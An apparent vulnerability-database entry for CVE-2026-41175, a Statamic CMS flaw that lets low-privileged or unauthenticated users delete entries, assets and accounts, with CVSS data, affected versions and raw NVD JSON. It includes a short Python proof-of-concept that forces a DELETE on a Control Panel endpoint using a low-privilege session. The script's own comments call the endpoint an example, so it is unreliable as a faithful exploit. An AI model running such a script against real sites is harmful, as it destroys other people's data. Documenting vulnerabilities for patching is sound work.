Security Vulnerability Report
中文
CVE-2026-41175 CVSS 8.1 HIGH

CVE-2026-41175

Published: 2026-04-22 22:16:32
Last Modified: 2026-04-27 19:26:44

Description

Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.20 and 6.13.0, manipulating query parameters on Control Panel and REST API endpoints, or arguments in GraphQL queries, could result in the loss of content, assets, and user accounts. The Control Panel requires authentication with minimal permissions in order to exploit. e.g. "view entries" permission to delete entries, or "view users" permission to delete users, etc. The REST and GraphQL API exploits do not require any permissions, however neither are enabled by default. In order to be exploited, they would need to be explicitly enabled with no authentication configured, and the specific resources enabled too. Sites that enable the REST or GraphQL API without authentication should treat patching as critical priority. This has been fixed in 5.73.20 and 6.13.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* - VULNERABLE
Statamic CMS < 5.73.20
Statamic CMS < 6.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41175: Permission Bypass leading to Deletion # This script demonstrates how a low-privileged user might delete content. import requests def exploit_statamic(target_url, session_cookie, resource_id): """ Attempts to delete a resource using a low-privileged session. """ headers = { "Cookie": f"statamic_session={session_cookie}", "User-Agent": "CVE-2026-41175-POC" } # Vulnerable endpoint example (Control Panel API) # Manipulating query parameters or request body to trigger deletion delete_url = f"{target_url}/cp/api/collections/entries/{resource_id}" # Payload simulating parameter manipulation to force delete data = { "_method": "DELETE", "force": "true" } try: response = requests.post(delete_url, headers=headers, data=data) if response.status_code == 200 or response.status_code == 204: return f"[+] Exploit successful! Resource {resource_id} deleted." else: return f"[-] Exploit failed. Status code: {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" if __name__ == "__main__": # Replace with actual target and low-privilege session target = "http://localhost:8000" session = "valid_low_priv_user_session" resource = "1" print(exploit_statamic(target, session, resource))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41175", "sourceIdentifier": "[email protected]", "published": "2026-04-22T22:16:31.820", "lastModified": "2026-04-27T19:26:43.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.20 and 6.13.0, manipulating query parameters on Control Panel and REST API endpoints, or arguments in GraphQL queries, could result in the loss of content, assets, and user accounts. The Control Panel requires authentication with minimal permissions in order to exploit. e.g. \"view entries\" permission to delete entries, or \"view users\" permission to delete users, etc. The REST and GraphQL API exploits do not require any permissions, however neither are enabled by default. In order to be exploited, they would need to be explicitly enabled with no authentication configured, and the specific resources enabled too. Sites that enable the REST or GraphQL API without authentication should treat patching as critical priority. This has been fixed in 5.73.20 and 6.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-470"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.73.20", "matchCriteriaId": "A17AD3F4-2303-47FC-BA7C-76C874B19A44"}, {"vulnerable": true, "criteria": "cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.13.0", "matchCriteriaId": "43E0EBB0-7923-4A58-A331-E298D7680E66"}]}]}], "references": [{"url": "https://github.com/statamic/cms/security/advisories/GHSA-4jjr-vmv7-wh4w", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}